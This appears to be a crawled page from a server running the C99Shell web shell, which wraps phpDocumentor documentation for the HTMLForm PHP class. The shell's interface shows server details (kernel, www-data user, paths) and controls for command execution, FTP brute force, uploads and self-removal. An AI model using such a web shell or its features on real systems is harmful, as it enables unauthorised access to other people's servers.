!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/wwwroot/frames/zebraforms/docs/HTMLForm/   drwxrwxr-x
Free 83.2 GB of 96.73 GB (86.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     HTMLForm.html (21.11 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Docs For Class HTMLForm
HTMLForm
[ class tree: HTMLForm ] [ index: HTMLForm ] [ all elements ]

Class: HTMLForm

Source Location: /class.htmlform.php

Class Overview


A HTML Form Processor PHP Class


Author(s):

Version:

  • 1.2 (last revision: September 04, 2008)

Copyright:

  • (c) 2006 - 2008 Stefan Gabos

Variables

Methods



Class Details

[line 27]
A HTML Form Processor PHP Class

See the documentation for more info

Read the LICENSE file, provided with the package, to find out how you can use this PHP script.

If you don't find this file, please write an email to noname at nivelzero dot ro and you will be sent a copy of the license file

For more resources visit http://stefangabos.blogspot.com




Tags:

example:  example
example:  example
example:  example
example:  example
example:  example
version:  1.2 (last revision: September 04, 2008)
copyright:  (c) 2006 - 2008 Stefan Gabos
author:  Stefan Gabos <[email protected]>


[ Top ]


Class Variables

$datePickerPath =

[line 51]

Path to Zebra Framework PHP Date Picker class

This property has no default value



Type:   string


[ Top ]

$maxFileSize =

[line 70]

The maximum allowed size for file uploads (in bytes)

Default is 1024000 (1 MB)



Type:   integer


[ Top ]

$template =

[line 42]

Template folder to use

Note that this refers to the general template of the form (the one that is in the /templates folder)

Note that only the folder of the template you wish to use needs to be specified. Inside the folder you must have the template.xtpl file which will be automatically used

default is "default"



Type:   string


[ Top ]



Class Methods


constructor HTMLForm [line 111]

void HTMLForm( string $formName, [string $formMethod = 'POST'], [string $formAction = ''], [string $HTMLAttributes = ''])

Initializes the form



Parameters:

string   $formName   Name of the form

string   $formMethod  

(optional) Submission method of the form

Possible values are POST an GET

Default is POST


string   $formAction  

(optional) Action of the form

Default is an empty string (form will be submitted to itself)


string   $HTMLAttributes  

(optional) Extra HTML attributes for the form

Default is an empty string



[ Top ]

method add [line 203]

reference &add( string $type, mixed $arguments)

Adds controls to the form

The '&' symbol in the prefix of the method name is there to specifically instruct the method to return a reference!

  1.   /*
  2.   notice the use of the "&" symbol -> it's the way we can have a reference to the object in PHP4
  3.   */
  4.  
  5.   $obj $form->add('text''control_id''Default text');




Tags:

return:  Reference to the newly created object


Parameters:

string   $type  

Type of the control to add

Controls that can be added to the form:


mixed   $arguments  

A list of arguments as required by the control you are adding.

Click above on each available control/element to see what arguments it accepts



[ Top ]

method addError [line 358]

void addError( string $errorBlock, string $errorMessage, [string $bindToControl = ''])

Appends an error message to an error block's error messages

You will need to use this method when you do custom validation in order to be able to send any error message to one of the form's error blocks




Parameters:

string   $errorBlock   The name of the error block to append the error message to

string   $errorMessage   The error message to append

string   $bindToControl  

(Optional) The ID of the control to bind the error to.

This has no importance unless you are relying on the script to automatically generate the form's output for you. If you do so, than you MUST bind the error message to a control or the script will not know where to show the error in the form!



[ Top ]

method addVar [line 280]

void addVar( mixed $variable, mixed $variableName)

Adds an user defined variable to be accessible in the form's template file

These variables are available in the form's template in the form {user.<variableName>}

You can also add arrays and access them as {user.<variableName>.<key>}




Parameters:

mixed   $variable   Name of an user defined variable

mixed   $variableName   Name through which the variable will be available in the template file


[ Top ]

method parseBlock [line 296]

void parseBlock( string $blockName, [array $blockVars = ''])

Parses an user defined block in the template



Parameters:

string   $blockName   Name of the block to parse

array   $blockVars   An associative array of name => value pairs of variables to be assigned to the parsed block


[ Top ]

method render [line 858]

void render( [string $template = ''], [boolean $toVar = false])

Renders the form



Parameters:

string   $template  

The form template to parse

Remember not to include <form> or other tags that appear in the general template set by the $template property!


boolean   $toVar   (optional) If set to TRUE, the output will be returned instead of being outputted to the screen


[ Top ]

method validate [line 408]

boolean validate( )

Checks if the rules set to the form's controls are obeyed



Tags:

return:  TRUE if every rule was obeyed, FALSE if not


[ Top ]


Documentation generated on Mon, 22 Sep 2008 11:03:10 +0300 by phpDocumentor 1.3.0RC6

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0044 ]--